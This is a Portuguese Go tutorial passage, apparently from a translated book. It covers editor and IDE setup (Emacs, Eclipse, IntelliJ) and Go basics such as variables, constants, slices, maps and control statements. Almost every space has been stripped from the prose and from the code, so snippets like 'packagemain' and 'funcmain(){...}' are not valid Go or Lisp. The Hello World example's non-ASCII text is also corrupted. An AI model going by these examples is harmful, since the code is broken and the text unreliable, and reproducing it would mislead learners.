;;golangmode(require'go-mode-load)(require'go-autocomplete);;speedbar;;(speedbar1)(speedbar-add-supported-extension".go")(add-hook'go-mode-hook'(lambda();;gocode(auto-complete-mode1)(setqac-sources'(ac-source-go))
;;Imenu&Speedbar(setqimenu-generic-expression'(("type""^type*\\([^\t\n\r\f]*\\)"1)("func""^func*\\(.*\\){"1)))(imenu-add-to-menubar"Index");;Outlinemode(make-local-variable'outline-regexp)(setqoutline-regexp"//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")(outline-minor-mode1)(local-set-key"\M-a"'outline-previous-visible-heading)(local-set-key"\M-e"'outline-next-visible-heading);;Menubar(require'easymenu)(defconstgo-hooked-menu'("Gotools"["Gorunbuffer"got]["Goreformatbuffer"go-fmt-buffert]["Gocheckbuffer"go-fix-buffert]))(easy-menu-definego-added-menu(current-local-map)"Gotools"go-hooked-menu)
;;Other(setqshow-trailing-whitespacet)));;helperfunction(defungo()"runcurrentbuffer"(interactive)(compile(concat"gorun"(buffer-file-name))))
;;helperfunction(defungo-fmt-buffer()"rungofmtoncurrentbuffer"(interactive)(ifbuffer-read-only(progn(ding)(message"Bufferisreadonly"))(let((p(line-number-at-pos))(filename(buffer-file-name))(old-max-mini-window-heightmax-mini-window-height))(show-all)
(if(get-buffer"*GoReformatErrors*")(progn(delete-windows-on"*GoReformatErrors*")(kill-buffer"*GoReformatErrors*")))(setqmax-mini-window-height1)(if(=0(shell-command-on-region(point-min)(point-max)"gofmt""*GoReformatOutput*"nil"*GoReformatErrors*"t))(progn(erase-buffer)(insert-buffer-substring"*GoReformatOutput*")(goto-char(point-min))(forward-line(1-p)))(with-current-buffer"*GoReformatErrors*"(progn(goto-char(point-min))(while(re-search-forward"<standardinput>"nilt)(replace-matchfilename))(goto-char(point-min))(compilation-mode))))(setqmax-mini-window-heightold-max-mini-window-height)(delete-windows-on"*GoReformatOutput*")(kill-buffer"*GoReformatOutput*"))));;helperfunction(defungo-fix-buffer()"rungofixoncurrentbuffer"(interactive)(show-all)(shell-command-on-region(point-min)(point-max)"gotoolfix-diff"))
6. Parabéns,estátudopronto!OSpeedbarestádesativadoporpadrão,masremovaossímbolosdecomentárionalinha;;(speedbar1)paraativaresserecurso,ouaindauseocomandoM-xspeedbarcomamesmafinalidade.
Eclipse
OEclipseéoutraexcelenteferrramentadedesenvolvimento.Vejacomousá-laparaprogramaremGo.
Figure1.1PainelprincipaldoEclipseparaGo
1. FaçaodownloadeinstaleoEclipse2. Façaodownloaddogoclipseeinstaleseguindoasinstruçãonesselink
3. Façaodownloaddogocode
SevocêestiverusandonoWindows,vocêdeveinstalarogitparaWindowsparapoderinstalarogocode.Umaopçãobastanteusadaparaestefiméusaromsysgit
Instalepelalinhadecomando
goget-ugithub.com/nsf/gocode
Ouaindainstalediretamentepelocódigo-fontesepreferir.
4. FaçaodownloadeinstaleoMinGW
5. Configureosplugins.
Windows->Preferences->Go
(1).ConfigureocompiladorGo
Figure1.12ConfiguraçãoGonoEclipse
(2).Configureogocode(opcional),usandoodiretórioondevocêoinstalou(gocode.exe)
Figure1.13Configuraçãodogocode
(3).Configureogdb(opcional),usandoodiretórioondevocêoinstalou(gdb.exe).
Figure1.14Configuraçãodogdb
6. Verifiqueainstalação
CrieumnovoprojetoGoeumnovoarquivohello.goconformesegue.
Figure1.15Criarnovoprojetoearquivohello.go
Testeainstalaçãoconformeabaixo.(vocêprecisarádigitarumcomandonoconsoledoEclipse)
Figure1.16TestedeumprogramaGonoEclipse
IntelliJIDEA
AspessoasquetrabalhamcomJavatemfamiliaridadecomesteIDE.ElatambémsuportaasintaxeparalinguagemGoeauto-completeinteligenteatravésdeumplugin.
1. FaçaodownloaddaIDEA,nãohádiferençaentreasversõesUltimateeCommunityparausocomGo
SeforsolicitadoocaminhoparaoseusdkGoemalgumaetapa,apenasinsiraocaminhoparaseu$GOROOT.
(Vejaestepostparaumpasso-a-passodeconfiguraçãoeusodaIntelliJIDEAcomalinguagemGo)
Links
Sumário
Seçãoanterior:ComandosGoPróximaseção:Resumo
1.5ResumoNestecapítulo,nósfalamossobreainstalaçãodalinguagemGousandotrêsmétodosdiferentes,incluindodiretamentedocódigo-fonte,pelopacotepadrãoeatravésdeferramentasdeterceiros.NasequênciamostramoscomoconfiguraroambientededesenvolvimentoparaGo,cobrindodesdeaconfiguraçãodo$GOPATH.nasequência,foramintroduzidosalgunspassosparacompilaçãoedesenvolvimentodeprogramasGoecobrimostambémosComandosGomaisimportantes,taiscomooscomandoscompile,install,formatetest.Finalmente,foramapresentadasdiversasferramentaspoderosasparaodesenvolvimentodeprogramasGo,taiscomoLiteIDE,SublimeText,Vim,Emacs,Eclipse,IntelliJIDEA,etc.VocêpodeescolherqualquerumadelasparaexploraromundodeGo.
Links
SumárioSeçãoanterior:FerramentasparadesenvolvimentoGoPróximaseção:ConhecimentobásicodeGo
2ConhecimentobásicodeGoGoéumalinguagemdeprogramaçãocompiladaepertenceafamíliadalinguagemC.Contudo,seutempodecompilaçãoémuitomaisrápidodoqueoutraslinguagensdamesmafamília.Elapossuiapenas25palavras-chave(palavrasreservadas)...umnúmeromenorqueas26letrasdoalfabetoinglês!(N.doT.:Oalfabetoportuguêsoficialmentetambémpossui26letras)Vamosdarumaolhadanessaspalavrasantesdecomeçar.
breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar
Nestecapítulo,vouensinarobásicodeGo.VocêiráperceberoquantoelaéumalinguagemconcisaecomoseuDesignébonito.ProgramarpodesermuitodivertidocomGo.Apóscompletarestecapítulo,vocêestaráfamiliarizadocomtodasaspalavraslistadasacima.
Links
SumárioSeçãoanterior:ResumodoCapítulo1Próximaseção:"Hello,Go"
2.1Hello,GoAntesdeiniciaraconstruçãodeaplicaçõescompletasemGo,nósprecisamosaprenderaescreverumprogramasimples,afinal,vocênãopodeconstruirumprédiosemantesconstruirsuafundação.Sendoassim,vamosaprenderasintaxebásicaparaexecutaralgunsprogramassimplesnessaseção.
Programa
Seguindoareconhecidapráticainternacional,antesdeaprendercomoprogramaremqualquerlinguagem,vocêprecisasabercomoescreverumprogramaqueimprimeafamosafrase"Helloworld".
Prontopraesseprimeirodesafio?Vamoslá!
packagemain
import"fmt"
funcmain(){fmt.Printf("Hello,worldor�����orκαλημρακóσμor�������\n")}
Istoiráimprimiraseguinteinformação.
Hello,worldor orκαλημρακóσμor
Explicação
UmacoisaquevocêprecisaentenderemprimeirolugaréqueosprogramasGosãocompostosdepacotes(identificadospelapalavra-chavepackage).
package<pkgName>defineonomedopacote,nonossoexemplotemospackagemainqueidentificaqueessecódigopertenceaopacotemaineapalavramainindicaqueessepacoteserácompiladoemumprogramaaoinvésdeumpacotecomextensão.a.
Todoprogramaexecutávelpossuium,esomenteum,pacotemaineesteúltimoprecisaconterumafunçãonomeadacomomainsemnenhumargumentoouvaloresderetorno.
ParaexibiramensagemHello,world…,foiutilizadaumafunçãochamadaPrintf.Estafunçãofazpartedopacotefmt,entãonósimportamosessepacotenaterceiralinhadocódigousandoainstruçãoimport"fmt".
AmaneiradepensarnospacotesemGoésimilaralinguagemPython,etrazaseguintesvantagens:Modularidade(quebrarseuprogramaemváriosmódulos)eReusabilidade(todososmódulospodemserusadosemdiferenteslugares).Estessãoosprincipaistópicosqueprecisamosfalar
sobrepacotes,enósvamosfazerosnossosprópriospacotesmaistarde.
Naquintalinha,nósusamosapalavrafuncparadefinirafunçãomaineocorpodafunçãoestádentrodechaves({}),damesmaformaqueéfeitoemC,C++eJava.
Comovocêpodenotar,nãotemosargumentos.Nósiremosvercomoescreverfunçõescomargumentosembreve,assimcomofunçõesquepossuemzero,umouváriosvaloresderetornotambém.
Nasextalinha,chamamosafunçãoPrintfquevemdopacotefmt.Estetipodefunçãoéinvocadapelasintaxe<pkgName>.<funcName>,queémuitoparecidocomoestiloPython.
ComomencionadonoCapítulo1,onomedopacoteeonomedapastaqueocontémpodemserdiferentes.Onomedopacotevemdo<pkgName>empackage<pkgName>,nãodonomedapasta.
Finalmente,vocêpodenotarqueoexemploacimacontémvárioscaracteresnão-ASCII(quenãoestãonatabelaASCII).OobjetivoédemonstrarquealingaugemGotemsuportenativoaUTF-8.VocêpodeusarqualquercaracterUTF-8emseusprogramas.
Conclusão
Gousapacotes(semelhantesaosmódulosemPython)paraorganizarosprogramas.Afunçãomain.main()(funçãoqueprecisaestarnopacotemain)éopontodeentradaparatodososprogramas.GosuportaUTF-8deformanativa,poisumdoscriadoresdalinguagemétambémocriadordoUTF-8,logoGopossuisuporteparaváriosidiomas(mult-lang)porpadrão.
Links
SumárioSeçãoanterior:ConhecimentobásicodeGo
Próximaseção:FundamentosGo
2.2FundamentosemGoNestaseçãovamosaprendercomodefinirconstantes,variáveiscomtiposelementaresealgumashabilidadesdeprogramaçãoemGo.
Definirvariáveis
ExistemdiversasformasdesintaxequepodemserutilizadasparadefinirvariáveisemGo.
Apalavra-chavevaréaformamaisbásicadedefinirvariáveis.ObservequealinguagemGocolocaotipodavariáveldepoisdonomedavariável.
//defineumavariávelcomonome“variableName”eotipo"type"varvariableNametype
Definirmúltiplasvariáveis.
//definetrêsvariáveisdotipo"type"varvname1,vname2,vname3type
Definirumavariávelcomumvalorinicial.
//defineumavariávelcomonome“variableName”,tipo"type"evalor"value"varvariableNametype=value
Definirmúltiplasvariáveiscomvaloresiniciais.
/*Definetrêsvariáveisdetipo"type"einicializaseusvalores.vname1recebev1,vname2recebev2,vname3recebev3*/varvname1,vname2,vname3type=v1,v2,v3
Vocêachamuitotediosodefinirvariáveisdestamaneira?NãosepreocupeporqueaequipedaGotambémachouqueistopoderiaserumproblema.Portanto,sevocêdesejadefinirvariáveiscomvaloresiniciais,podesimplesmenteomitirotipodavariável.Sendoassim,ocódigoficarádaseguinteforma:
/*Definetrêsvariáveissemotipo"type"einicializaseusvalores.vname1recebev1,vname2recebev2,vname3recebev3*/varvname1,vname2,vname3=v1,v2,v3
Bem,talvezistoaindanãosejasimplesosuficienteparavocê.Vamosvercomopodemosmelhorar.
/*Definetrêsvariáveissemotipo"type",semapalavra-chave"var"einicializaseusvalores.vname1recebev1,vname2recebev2,vname3recebev3*/vname1,vname2,vname3:=v1,v2,v3
Agoraparecemuitomelhor.Use:=parasubstituirvaretype.Istoéchamadodeuma"declaraçãocurta"(doinglês:briefstatement).Masespere,istopossuiumalimitação:estaformasópodeserutilizadadentrodefunções.Vocêreceberáerrosdecompilaçãosetentarutilizaristoforadocorpodeumafunção.Portanto,normalmenteutilizamosvarparadefinirvariáveisglobaisepodemosutilizarestadeclaraçãocurtaemvar().
_(blank)éumnomeespecialdevariável.Qualquervalorquesejaatribuídoaistoseráignorado.Porexemplo,vamosatribuirovalor35avariávelbedescartarovalor34.(Esteexemploapenasmostracomoistofunciona.Elepareceinútilaquiporquefrequentementeutilizamosestesímboloquandorecebemosvaloresderetornodeumafunção.)
_,b:=34,35
Sevocênãoutilizarvariáveisqueforamdefinidasnoseuprograma,ocompiladorirágerarerrosdecompilação.Tentecompilaroseguintecódigoevejaoqueacontece.
packagemain
funcmain(){variint}
Constantes
Constantessãoosvaloresquesãodeterminadosduranteotempodecompilaçãoevocênãopodealterá-losduranteaexecução.EmGo,vocêpodeutilizarnúmero,booleanooustringcomotiposdeconstantes.
Definaasconstantesdaseguinteforma.
constconstantName=value//vocêpodeatribuirotipodaconstantesefornecessárioconstPifloat32=3.1415926
Maisexemplos.
constPi=3.1415926
consti=10000constMaxThread=10constprefix="astaxie_"
Tiposelementares
Booleano
EmGo,utilizamosboolparadefinirumavariáveldotipobooleano,sendoqueovalorsópodesertrueoufalse,eovalorpadrãoseráfalse.(Vocênãopodeconvertertiposdevariáveis'entrenúmeroebooleano!)
//códigodeamostravarisActivebool//variávelglobalvarenabled,disabled=true,false//omiteotipodasvariáveisfunctest(){varavailablebool//variávellocalvalid:=false//declaraçãocurtadevariávelavailable=true//atribuiumvaloràvariável}
Tiposnuméricos
Tiposinteirosincluemtiposcomsinaisesemsinais.Gopossuiostiposinteuint,osquaispossuemomesmocomprimento,porém,ocomprimentoespecíficodependedosistemaoperacional.Elesutilizam32bitsemsistemasoperacionais32bitse64bitsemsistemasoperacionaisde64bits.Gotambémtêmtiposquepossuemcomprimentosespecíficos,incluindorune,int8,int16,int32,int64,byte,uint8,uint16,uint32,uint64.Notequeruneéumpseudônimodeint32ebyteéumpseudônimodeuint8.
Umacoisaimportantequevocêdevesaberéquevocênãopodeatribuirvaloresentreestestipos,estaoperaçãoirágerarerrosdecompilação.
varaint8
varbint32
c:=a+b
Emboraint32tenhaumcomprimentomaiordoqueint8,epossuiomesmotipoint,vocênãopodeatribuirvaloresentreeles.(nestecaso,cserádeclaradocomotipoint)
Tiposfloatpossuemostiposfloat32efloat64enenhumtipochamadofloat.Oúltimoéotipopadrãoutilizadoemdeclaraçõescurtas.
Istoétudo?Não!Gotambémsuportanúmeroscomplexos.complex128(comumapartede64bitsrealeumapartede64bitsimaginária)éotipopadrão,massevocêprecisadeumtipomenor,existeumtipochamadocomplex64(comumapartede32bitsrealeumapartede32bitsimaginária).
SuaformaéRE+IMi,ondeREéaparterealeIMéaparteimaginária,eoúltimoiéonúmeroimaginário.Háumexemplodenúmerocomplexo.
varccomplex64=5+5i//saída:(5+5i)fmt.Printf("Valueis:%v",c)
String
NósfalamosapenassobrecomoalinguagemGoutilizaoconjuntodecaracteresUTF-8.Asstringssãorepresentadasporaspasduplas""oucrases(backticks) `.
//códigodeamostravarfrenchHellostring//formabásicadedefinirstringvaremptyStringstring=""//defineumastringvazia
functest(){no,yes,maybe:="no","yes","maybe"//declaraçãocurtajapaneseHello:="Ohaiou"frenchHello="Bonjour"//formabásicadeatribuirvalores}
Éimpossívelalterarvaloresdestringpeloíndice.Vocêreceberáerrosaocompilaroseguintecódigo.
varsstring="hello"s[0]='c'
Eseeurealmentequiseralterarapenasumcaracteredeumastring?Tenteoseguintecódigo.
s:="hello"c:=[]byte(s)//convertestringparaotipo[]bytec[0]='c's2:=string(c)//convertenovamenteparaotipostringfmt.Printf("%s\n",s2)
Useooperador+paracombinarduasstrings.
s:="hello,"m:="world"a:=s+mfmt.Printf("%s\n",a)
etambém.
s:="hello"s="c"+s[1:]//vocênãopodealterarvaloresdastringpeloíndice,masvocêpodeobterosvaloresfmt.Printf("%s\n",s)
Eseeuquiserterumastringdemúltiplaslinhas?
m:=`helloworld`
nãoiráescaparnenhumcaracteredastring.
Tiposerror
Gopossuiumtipoerrorcomopropósitodelidarcommensagensdeerro.Hátambémumpacotechamadoerrorsparalidarcomoserros.
err:=errors.New("emitmachodwarf:elfheadercorrupted")iferr!=nil{fmt.Print(err)}
Estruturadedadossubjacente
AseguinteimagemvemdeumartigosobreestruturasdedadosemGodoBlogRussCox.Comovocêpodever,Goutilizablocosdememóriaparaarmazenardados.
Figure2.1EstruturadedadossubjacenteemGo
Algumashabilidades
Definirporgrupo
Sevocêdesejadefinirmúltiplasconstantes,variáveisouimportarpacotes,vocêpodeutilizarumaformadegrupo.
Formabásica.
import"fmt"import"os"
consti=100constpi=3.1415constprefix="Go_"
variintvarpifloat32varprefixstring
Formadegrupo.
import("fmt""os")
const(i=100pi=3.1415prefix="Go_")
var(iintpifloat32prefixstring)
Amenosquevocêatribua,ovalordaconstanteéiota,oprimeirovalordeconstantenogrupoconst()será0.Seasconstantesseguintesnãoatribuiremvaloresexplicitamente,seusvaloresserãoiguaisaoúltimo.Seovalordaúltimaconstanteéiota,osvaloresdasconstantesseguintesquenãosãoatribuídasseráiotatambém.
Enumeraçãoiota
Gopossuiumapalavra-chavechamadaiota,estapalavra-chaveéutilizada
parafazerenum,elacomeçacom0eaumentade1em1.
const(x=iota//x==0y=iota//y==1z=iota//z==2w//senãohánenhumaexpressãoapósonomedaconstate,eleusaaúltimaexpressão,ouseja,estádefinindow=iotaimplicitamente.Portanto,w==3,eyexpodemomitir"=iota"também.)
constv=iota//umavezqueiotaencontraapalavra-chave`const`,elaéredefinidapara`0`,entãov=0.
const(e,f,g=iota,iota,iota//e=0,f=0,g=0valoresdeiotasãoiguaisemumalinha.)
Algumasregras
ArazãodeGoserconcisaéporqueelapossuialgunscomportamentospadrão.
Qualquervariávelquecomeçacomumaletramaiúsculasignificaqueelaseráexportada,casocontrárioseráprivada.Amesmaregraseaplicaparafunçõeseconstantes,sendoquenãoexistemaspalavras-chavepublicouprivateemGo.
array,slice,map
array
arrayéumarrayobviamente,enósdefinimoseledaseguintemaneira.
vararr[n]type
em[n]type,néocomprimentodoarray,enquantotypeéotipodoselementoscontidosnoarray.Assimcomoemoutraslinguagens,nósutilizamos[]paraobteroudefinirvaloresdeelementosnoarray.
vararr[10]int//umarraydetipo[10]intarr[0]=42//arrayébaseadoem0arr[1]=13//atribuirumvaloraoelementofmt.Printf("Thefirstelementis%d\n",arr[0])//obtémovalordoelemento,iráretornar42fmt.Printf("Thelastelementis%d\n",arr[9])//retornaovalorpadrãodoelementodaposição10doarray,que,nestecaso,é0.
Comoocomprimentofazpartedotipodoarray,[3]inte[4]intsãotiposdiferentes,portanto,nãopodemosalterarocomprimentodosarrays.Quandovocêutilizaarrayscomoargumentos,asfunçõesobtêmsuascopiasemvezdereferências!Sevocêdesejautilizarreferências,vocêpodeutilizarslice.Falaremossobreistomaistarde.
Épossívelutilizar:=quandovocêdefinearrays.
a:=[3]int{1,2,3}//defineumarraydeinteiroscom3elementos
b:=[10]int{1,2,3}//defineumarraydeinteiroscom10elementos,dosquaisos3primeirossãoatribuídos.Orestantedelesrecebeovalorpadrão0.
c:=[...]int{4,5,6}//usa`…`parasubstituiroparâmetrodecomprimentoeaGoirácalcularistoparavocê.
Vocêpodequererutilizararrayscomoelementosdearrays'.Vamosvercomofazeristo.
//defineumarraybidimensionalcom2elementos,ecadaelementopossui4elementosdoubleArray:=[2][4]int{[4]int{1,2,3,4},[4]int{5,6,7,8}}
//Adeclaraçãopodeserescritadeformamaisconcisadaseguinteforma.easyArray:=[2][4]int{{1,2,3,4},{5,6,7,8}}
Arrayestruturadedadossubjacente.
Figure2.2Relaçãodemapeamentodearraymultidimensional
slice
Emváriassituações,otipoarraynãoéumaboaescolha-porexemploquandonãosabemosocomprimentoqueoarrayteráquandoodefinimos.Sendoassim,precisamosdeum"arraydinâmico".IstoéchamadodesliceemGo.
slicenãoérealmenteumarraydinâmico.Éumtipodereferência.sliceapontaparaumarraysubjacentecujadeclaraçãoésemelhanteaoarray,porémnãoprecisadeumcomprimentopreestabelecido.
//definimosumsliceassimcomodefinimosumarray,masdestavez,omitimosocomprimentovarfslice[]int
Entãonósdefinimosumsliceeinicializamosseusdados.
slice:=[]byte{'a','b','c','d'}
slicepoderedefinirslicesouarraysexistentes.sliceusaarray[i:j]para"cortar",ondeiéoíndicedeinícioejéoíndicefinal,masobservequeovalordearray[j]nãoseráincluídonoslice,poisocomprimentodafatiaéj-i.
//defineumarraycom10elementoscujostipossãobytesvarar=[10]byte{'a','b','c','d','e','f','g','h','i','j'}
//definedoisslicescomotipo[]bytevara,b[]byte
//'a'apontaparaoselementosdaterceiraatéaquintaposiçãodoarrayara=ar[2:5]//agora'a'possuioselementosar[2],ar[3]ear[4]
//'b'éoutroslicedoarrayarb=ar[3:5]//agora'b'possuioselementosar[3]ear[4]
Observeasdiferençasentresliceearrayquandovocêdefineeles.Nósutilizamos[…]paradeixaralinguagemGocalcularocomprimento,masutilizamos[]paradefinirumslice.
Suaestruturadedadossubjacente.
Figure2.3Relaçãoentersliceearray
slicepossuialgumasoperaçõesconvenientes.
sliceébaseadoem0,ar[:n]igualaar[0:n]Seomitido,osegundoíndiceseráocomprimentodoslice,ar[n:]igualaar[n:len(ar)].Vocêpodeusarar[:]para"cortar"oarrayinteiro,asrazõessãoexplicadasnasduasprimeirasdeclarações.
Maisexemplosreferentesaslice
//defineumarrayvararray=[10]byte{'a','b','c','d','e','f','g','h','i','j'}//definedoisslicesvaraSlice,bSlice[]byte
//algumasoperaçõesconvenientesaSlice=array[:3]//igualaaSlice=array[0:3]aSlicepossuioselementosa,b,caSlice=array[5:]//igualaaSlice=array[5:10]aSlicepossuioselementosf,g,h,i,jaSlice=array[:]//igualaaSlice=array[0:10]aSlicepossuitodososelementos
//slicedeumsliceaSlice=array[3:7]//aSlicepossuioselementosd,e,f,glen=4cap=7bSlice=aSlice[1:3]//bSlicecontémaSlice[1],aSlice[2],entãotêmoselementose,fbSlice=aSlice[:3]//bSlicecontémaSlice[0],aSlice[1],aSlice[2],entãotêmoselementosd,e,fbSlice=aSlice[0:5]//slicepodeserexpandidonointervalodecap,agorabSlicecontémd,e,f,g,hbSlice=aSlice[:]//bSlicetêmosmesmoselementosdosliceaSlice,osquaissãod,e,f,g
sliceéumtipodereferência,portanto,qualqueralteraçãoiráafetaroutrasvariáveisqueapontamparaomesmosliceouarray.Porexemplo,no
casodosslicesaSliceebSliceapresentadoacima,sevocêalterarovalordeumelementoemaSlice,bSlicetambémseráalterado.
sliceécomoumaestruturapordefinição,econtém3partes.
Umponteiroqueapontaparaondeosliceinicia.Ocomprimentodoslice.
Capacidade,ocomprimentodoíndicedeinícioparaoíndicefinaldoslice.
Array_a:=[10]byte{'a','b','c','d','e','f','g','h','i','j'}Slice_a:=Array_a[2:5]
Segueaseguiraestruturasubjacentedocódigoacima.
Figure2.4Informaçõesdoslicedeumarray
Existemalgumasfunçõesincorporadasnoslice.
lenobtémocomprimentodoslice.capobtémocomprimentomáximodoslice.appendacrescentaumoumaiselementosaoslice,eretornaum
slice.copycopiaelementosdeumsliceparaoutroeretornaonúmerodeelementosqueforamcopiados.
Atenção:appendiráalteraroarrayparaondeosliceapontaeafetarátambémoutrosslicesqueapontamparaomesmoarray.Alémdisto,senãohouvercomprimentosuficienteparaoslice((cap-len)==0),appendretornaumnovoarrayparaoslice.Quandoistoacontece,outrosslicesqueestãoapontandoparaoarrayantigonãoserãoafetados.
map
mapsecomportacomoumdicionárioemPython.Useaformamap[keyType]valueTypeparadefini-lo.
Vamosverumpoucodecódigo.Osvalores'set'e'get'emmapsãosemelhantesaoslice,noentanto,oíndicenoslicesópodeserdotipo'int'enquantomappodeusarmuitosoutrostipos,comoporexemplo:int,string,ouqualqueroutroquevocêquiser.Alémdisto,elessãocapazesdeusar==e!=paracompararvalores.
//usestringcomootipochave,intcomootipovalore`make`parainicializar.varnumbersmap[string]int//outraformadedefinirmapnumbers:=make(map[string]int)numbers["one"]=1//atribuivalorporchavenumbers["ten"]=10numbers["three"]=3
fmt.Println("Thethirdnumberis:",numbers["three"])//obtémvalores//Istoimprime:Thethirdnumberis:3
Algumasnotassobreousodemap.
mapédesordenado.Todavezquevocêimprimemapvocêteráresultadosdiferentes.Éimpossívelobtervaloresporíndice-você
precisautilizarchave.mapnãotemumcomprimentofixo.Éumtipodereferência,assimcomooslice.lentambémfuncionaparamap.Istoretornaquantaschavesomaptem.Émuitofácilalterarvaloresutilizandomap.Bastausarnumbers["one"]=11paraalterarovalordachaveonepara11.
Vocêpodeusaraformachave:valorparainicializarvaloresemummap,poismappossuimétodosembutidosparaverificarseachaveexiste.
Usedeleteparadeletarumelementoemummap.
//Inicializaummaprating:=map[string]float32{"C":5,"Go":4.5,"Python":4.5,"C++":2}//mappossuidoisvaloresderetorno.Casoachavenãoexista,osegundovalorderetorno,nestecasorecebidopelavariável'ok',seráfalso(false).Casocontrárioseráverdadeiro(true).csharpRating,ok:=rating["C#"]ifok{fmt.Println("C#isinthemapanditsratingis",csharpRating)}else{fmt.Println("WehavenoratingassociatedwithC#inthemap")}
delete(rating,"C")//deletaoelementocomachave"c"
Comofoiditoacima,mapéumtipodereferência.Sedoismapsapontamparaomesmodadosubjacente,qualqueralteraçãoiráafetarambos.
m:=make(map[string]string)m["Hello"]="Bonjour"m1:=mm1["Hello"]="Salut"//agoraovalordem["hello"]éSalut
make,new
makerealizaalocaçãodememóriaparamodelosinternos,comomap,slice,echannel,enquantonewéutilizadoparaalocaçãodememóriadetipos.
new(T)alocaamemóriaparaovalorzerodotipoTeretornaseuendereçodememória,queéovalordotipo*T.Pordefinição,istoretornaumponteiroqueapontaparaovalorzerodeT.
newretornaponteiros.
Afunçãointernamake(T,args)possuidiferentespropósitossecomparadoanew(T).makepodeserusadoparaslice,map,echannel,eretornaotipoTcomumvalorinicial.Arazãoparafazeristoéporqueosdadossubjacentesdestestrêstiposdevemserinicializadosantesdeapontarparaeles.Porexemplo,umslicecontémumponteiroqueapontaparaumarraysubjacente,comprimentoecapacidade.Antesqueestesdadossejaminicializados,sliceénil,então,paraslice,mapechannel,makeinicializaseusdadossubjacenteseatribuialgunsvaloresadequados.
makeretornavaloresdiferentesdezero.
Aseguinteimagemmostracomonewemakesãodiferentes.
Figure2.5Alocaçãodememóriaparamakeenew
Valorzeronãosignificavalorvazio.Namaioriadoscasoséovalorpadrãodasvariáveis.Aquiestáumalistadealgunsvaloreszero.
int0int80int320int640uint0x0rune0//otiporealderuneéint32byte0x0//otiporealdebyteéuint8float320//comprimentoé4bytesfloat640//comprimentoé8bytesboolfalsestring""
Links
Sumário
Seçãoanterior:"Hello,Go"Próximaseção:Declaraçõesdecontroleefunções
2.3DeclaraçõesdecontroleefunçõesNestaseçãonósvamosfalarsobredeclaraçõesdecontroleeoperaçõesdefunçõesemGo.
DeclaraçõesdeControle
Amaiorinvençãonaprogramaçãoéocontroledefluxo.Porcausadele,vocêécapazdeutilizardeclaraçõesdecontrolesimplesquepodemserusadaspararepresentarlógicascomplexas.Existemtrêscategoriasdecontroledefluxo:condicional,controledecicloesaltoincondicional.
if
ifprovavelmenteseráapalavra-chavemaisutilizadanosseusprogramas.Seeleatendeascondições,entãoelefazalgumacoisaecasocontráriofazalgumaoutracoisa.
ifnãoprecisadeparêntesesemGo.
ifx>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthanorequalto10")}
AcoisamaisútilsobreoifemGoéqueelepodeterumainstruçãodeinicializaçãoantesdainstruçãocondicional.Oescopodasvariáveisdefinidasnestainstruçãodeinicializaçãosóestãodisponíveisdentrodoblocode
definiçãodoif.
//inicializaxeentãoconferesexémaiorque10ifx:=computedValue();x>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}
//ocódigoseguintenãocompilaráfmt.Println(x)
Useif-elseparamúltiplascondições.
ifinteger==3{fmt.Println("Theintegerisequalto3")}elseifinteger<3{fmt.Println("Theintegerislessthan3")}else{fmt.Println("Theintegerisgreaterthan3")}
goto
Gopossuiumapalavra-chavechamadagoto,mascuidadoaoutilizarela.gotoreencaminhaofluxodecontroleparaumlabeldefinidoanteriormentedentrodomesmoblocodecódigo.
funcmyFunc(){i:=0Here://labelterminacom":"fmt.Println(i)i++gotoHere//puleparaolabel"Here"}
Onomedolabelécasesensitive.
for
foréalógicadecontrolemaispoderosaemGo.Elepodelerdadosemloopseoperaçõesiterativas,assimcomoowhile.
forexpression1;expression2;expression3{//...}
expression1,expression2eexpression3sãotodasexpressões,ondeexpression1eexpression3sãodefiniçõesdevariáveisouatribuições,eexpression2éumadeclaraçãocondicional.expression1seráexecutadaumavezantesdoloop,eexpression3seráexecutadadepoisdecadaiteraçãodoloop.
Exemplossãomaisúteisquepalavras.
packagemainimport"fmt"
funcmain(){sum:=0;forindex:=0;index<10;index++{sum+=index}fmt.Println("sumisequalto",sum)}//Mostrasumisequalto45
Algumasvezesnósprecisamosdeváriasatribuições,porémGonãopossuiooperador,,entãonósusamosatribuiçõesparalelascomoi,j=i+1,j-1.
Nóspodemosomitirasexpressõesexpression1eexpression3seelasnãoforemnecessárias.
sum:=1for;sum<1000;{sum+=sum}
Podemosomitirtambémo;.Istolheparecefamiliar?Sim,éidênticoaowhile.
sum:=1forsum<1000{sum+=sum}
Existemduasoperaçõesimportantesemloopsquesãobreakecontinue.break"pula"foradoloop,econtinueignoraoloopatualeiniciaopróximo.Sevocêtiverloopsaninhadosusebreakjuntamentecomlabels.
forindex:=10;index>0;index--{ifindex==5{break//oucontinue}fmt.Println(index)}//breakmostra109876//continuemostra1098764321
forpodelerdadosdeumsliceoumapquandoforutilizadojuntocomrange.
fork,v:=rangemap{fmt.Println("map'skey:",k)fmt.Println("map'sval:",v)}
ComoGosuportamúltiplosvaloresderetornoegeraumerrodecompilação
casovocênãouseosvaloresqueforamdefinidos,vocêpodequererutilizar_paradescartarcertosvaloresderetorno.
for_,v:=rangemap{fmt.Println("map'sval:",v)}
switch
Asvezesvocêpodeacharqueestáusandomuitasinstruçõesif-elseparaimplementarumalógica,oquepodedificultaraleituraemanutençãonofuturo.Esteéomomentoperfeitoparautilizarainstruçãoswitchpararesolveresteproblema.
switchsExpr{caseexpr1:someinstructionscaseexpr2:someotherinstructionscaseexpr3:someotherinstructionsdefault:othercode}
OstiposdesExpr,expr1,expr2,eexpr3devemseromesmo.switchémuitoflexível.Ascondiçõesnãoprecisamserconstantesesãoexecutadasdecimaparabaixoatéqueencontreumacondiçãoválida.Senãohouvernenhumainstruçãoapósapalavra-chaveswitch,entãoelacorresponderáatrue.
i:=10switchi{case1:fmt.Println("iisequalto1")case2,3,4:fmt.Println("iisequalto2,3or4")
case10:fmt.Println("iisequalto10")default:fmt.Println("AllIknowisthatiisaninteger")}
Naquintalinha,colocamosváriosvaloresemumcase,enãoprecisamosadicionarapalavra-chavebreaknofinaldoblocodocase.Eleirásairdoblocodoswitchquandoencontrarumacondiçãoverdadeira.Sevocêdesejacontinuarverificandomaiscasos,vocêprecisaráutilizarainstruçãofallthrough.
